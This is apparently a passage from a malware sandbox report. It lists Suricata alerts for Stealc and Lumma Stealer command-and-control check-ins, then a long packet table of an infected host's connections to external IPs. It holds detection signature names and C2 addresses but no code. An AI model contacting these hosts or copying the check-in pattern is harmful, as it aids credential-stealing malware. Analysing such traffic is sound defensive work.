2024-10-29T20:37:22.313347+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	50016	185.215.113.206	80	TCP
2024-10-29T20:37:25.446282+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	50017	188.114.96.3	443	TCP
2024-10-29T20:37:25.446282+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	50017	188.114.96.3	443	TCP
2024-10-29T20:37:25.971728+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	50018	188.114.96.3	443	TCP
2024-10-29T20:37:25.971728+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	50018	188.114.96.3	443	TCP
2024-10-29T20:37:29.086076+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	50020	188.114.96.3	443	TCP
2024-10-29T20:37:29.086076+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	50020	188.114.96.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 29, 2024 20:35:11.755726099 CET	49721	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:11.755774021 CET	443	49721	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:11.755858898 CET	49721	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:11.790309906 CET	49721	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:11.790329933 CET	443	49721	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:12.413163900 CET	443	49721	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:12.413300037 CET	49721	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:12.438416958 CET	49721	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:12.438446045 CET	443	49721	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:12.438815117 CET	443	49721	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:12.485133886 CET	49721	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:12.495587111 CET	49721	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:12.495626926 CET	49721	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:12.495740891 CET	443	49721	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:12.957225084 CET	443	49721	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:12.957334042 CET	443	49721	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:12.957412004 CET	49721	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:12.959160089 CET	49721	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:12.959182024 CET	443	49721	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:12.959198952 CET	49721	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:12.959203959 CET	443	49721	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:13.016845942 CET	49727	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:13.016897917 CET	443	49727	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:13.016980886 CET	49727	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:13.017400026 CET	49727	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:13.017422915 CET	443	49727	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:13.643202066 CET	443	49727	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:13.643296957 CET	49727	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:13.645279884 CET	49727	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:13.645297050 CET	443	49727	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:13.645534992 CET	443	49727	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:13.647006989 CET	49727	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:13.647043943 CET	49727	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:13.647069931 CET	443	49727	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:14.142296076 CET	443	49727	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:14.142340899 CET	443	49727	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:14.142369986 CET	443	49727	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:14.142395020 CET	443	49727	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:14.142422915 CET	443	49727	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:14.142471075 CET	49727	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:14.142499924 CET	443	49727	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:14.142543077 CET	49727	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:14.142550945 CET	443	49727	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:14.142585039 CET	443	49727	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:14.142612934 CET	443	49727	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:14.142622948 CET	49727	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:14.142630100 CET	443	49727	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:14.142668962 CET	49727	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:14.260656118 CET	443	49727	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:14.260710955 CET	443	49727	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:14.260739088 CET	443	49727	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:14.260772943 CET	443	49727	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:14.260859013 CET	443	49727	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:14.260879040 CET	49727	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:14.260946989 CET	49727	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:14.261250973 CET	49727	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:14.261271000 CET	443	49727	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:14.261284113 CET	49727	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:14.261290073 CET	443	49727	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:14.402993917 CET	49738	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:14.403055906 CET	443	49738	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:14.403188944 CET	49738	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:14.403516054 CET	49738	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:14.403538942 CET	443	49738	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:15.029510975 CET	443	49738	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:15.029730082 CET	49738	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:15.059357882 CET	49738	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:15.059386015 CET	443	49738	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:15.059768915 CET	443	49738	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:15.061433077 CET	49738	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:15.061587095 CET	49738	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:15.061608076 CET	443	49738	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:26.046508074 CET	443	49738	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:26.046756983 CET	443	49738	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:26.046853065 CET	49738	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:26.046988010 CET	49738	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:26.047003031 CET	443	49738	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:26.245681047 CET	49804	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:26.245728970 CET	443	49804	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:26.245824099 CET	49804	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:26.246229887 CET	49804	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:26.246248007 CET	443	49804	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:26.860142946 CET	443	49804	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:26.860336065 CET	49804	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:26.861864090 CET	49804	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:26.861871004 CET	443	49804	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:26.862164021 CET	443	49804	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:26.863373041 CET	49804	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:26.863506079 CET	49804	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:26.863552094 CET	443	49804	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:26.863610029 CET	49804	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:26.863616943 CET	443	49804	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:27.353307962 CET	443	49804	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:27.353396893 CET	443	49804	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:27.353461027 CET	49804	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:27.353641987 CET	49804	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:27.353655100 CET	443	49804	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:27.662162066 CET	49814	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:27.662206888 CET	443	49814	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:27.662275076 CET	49814	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:27.663089991 CET	49814	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:27.663109064 CET	443	49814	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:28.283164978 CET	443	49814	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:28.283258915 CET	49814	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:28.284720898 CET	49814	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:28.284753084 CET	443	49814	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:28.285088062 CET	443	49814	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:28.286390066 CET	49814	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:28.286623955 CET	49814	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:28.286667109 CET	443	49814	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:28.286926031 CET	49814	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:28.286942005 CET	443	49814	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:28.847029924 CET	443	49814	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:28.847137928 CET	443	49814	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:28.847225904 CET	49814	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:28.847338915 CET	49814	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:28.847358942 CET	443	49814	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:29.300082922 CET	49826	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:29.300136089 CET	443	49826	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:29.300371885 CET	49826	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:29.300817966 CET	49826	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:29.300832987 CET	443	49826	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:29.925662994 CET	443	49826	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:29.925745010 CET	49826	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:29.928529978 CET	49826	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:29.928551912 CET	443	49826	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:29.928795099 CET	443	49826	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:29.969563007 CET	49826	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:30.062711000 CET	49826	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:30.062800884 CET	49826	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:30.062817097 CET	443	49826	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:31.903115034 CET	443	49826	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:31.903208017 CET	443	49826	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:31.903466940 CET	49826	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:31.903515100 CET	49826	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:31.903532982 CET	443	49826	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:32.425620079 CET	49846	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:32.425652981 CET	443	49846	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:32.425870895 CET	49846	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:32.426414967 CET	49846	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:32.426429987 CET	443	49846	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:33.038636923 CET	443	49846	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:33.038717985 CET	49846	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:33.064274073 CET	49846	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:33.064297915 CET	443	49846	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:33.064553976 CET	443	49846	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:33.092367887 CET	49846	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:33.093286037 CET	49846	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:33.093311071 CET	443	49846	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:33.093549967 CET	49846	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:33.093574047 CET	443	49846	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:33.093671083 CET	49846	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:33.093691111 CET	443	49846	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:33.093801022 CET	49846	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:33.093826056 CET	443	49846	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:33.093913078 CET	49846	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:33.093929052 CET	443	49846	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:33.094033957 CET	49846	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:33.094043970 CET	443	49846	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:33.094110966 CET	49846	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:33.094135046 CET	443	49846	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:33.094153881 CET	49846	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:33.094257116 CET	49846	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:33.094280005 CET	49846	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:33.104691982 CET	443	49846	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:33.105717897 CET	49846	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:33.105751991 CET	443	49846	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:33.105777025 CET	49846	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:33.105797052 CET	49846	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:33.105853081 CET	49846	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:33.105882883 CET	49846	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:33.110433102 CET	443	49846	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:33.110543966 CET	49846	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:33.110570908 CET	443	49846	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:36.028686047 CET	443	49846	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:36.028812885 CET	443	49846	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:36.028959990 CET	49846	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:36.029164076 CET	49846	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:36.029175997 CET	443	49846	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:36.039761066 CET	49864	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:36.039778948 CET	443	49864	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:36.039865017 CET	49864	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:36.040211916 CET	49864	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:36.040221930 CET	443	49864	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:36.663665056 CET	443	49864	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:36.663736105 CET	49864	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:36.665611029 CET	49864	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:36.665621996 CET	443	49864	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:36.665854931 CET	443	49864	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:36.667175055 CET	49864	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:36.667273045 CET	49864	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:36.667296886 CET	443	49864	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:37.146559000 CET	443	49864	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:37.146644115 CET	443	49864	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:37.146712065 CET	49864	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:37.147042990 CET	49864	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:37.147052050 CET	443	49864	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:37.147063017 CET	49864	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:35:37.147068024 CET	443	49864	188.114.96.3	192.168.2.7
Oct 29, 2024 20:35:37.173554897 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:37.180269003 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:37.180399895 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:37.180599928 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:37.186943054 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.084682941 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.084701061 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.084713936 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.084813118 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.084825039 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.084840059 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.084865093 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.084877968 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.084888935 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.084899902 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.084906101 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:38.084906101 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:38.084906101 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:38.084930897 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:38.084999084 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:38.090641022 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.090816021 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.090913057 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:38.244054079 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.244353056 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.244365931 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.244415045 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:38.245438099 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.245451927 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.245480061 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:38.246612072 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.246627092 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.246654987 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:38.247826099 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.247840881 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.247883081 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:38.248996973 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.249010086 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.249022007 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.249068975 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:38.249068975 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:38.358947992 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.359231949 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.359246016 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.359308958 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:38.360301971 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.360419035 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:38.360893011 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.360905886 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.361027002 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:38.362027884 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.362040997 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.362082005 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:38.363214970 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.363226891 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.363236904 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.363248110 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.363333941 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:38.363333941 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:38.402369976 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.402627945 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.402641058 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.402679920 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:38.453959942 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:38.474266052 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.474486113 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.474498034 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.474541903 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:38.475277901 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.475294113 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.475380898 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:38.476300955 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.476308107 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.476413965 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:38.477369070 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.477380991 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.477446079 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:38.478621960 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.478635073 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.478748083 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:38.518099070 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.518397093 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.518410921 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.518487930 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:38.519516945 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.519577980 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:38.589993954 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.590209007 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.590220928 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.590271950 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:38.591221094 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.591316938 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:38.591485023 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.591497898 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.591562986 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:38.592578888 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.593108892 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.593120098 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.593245029 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:38.594358921 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.594377995 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.594445944 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:38.634354115 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.634448051 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:38.634646893 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.634660006 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.634706020 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:38.635529041 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.635870934 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.635881901 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.635962009 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:38.688358068 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:38.707864046 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.708656073 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.708667040 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.708852053 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:38.709791899 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.709846020 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:38.710315943 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.710329056 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.710391045 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:38.711111069 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.711122990 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.711169004 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:38.712055922 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.712071896 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:38.712131023 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:38.749413967 CET	80	49873	185.215.113.16	192.168.2.7
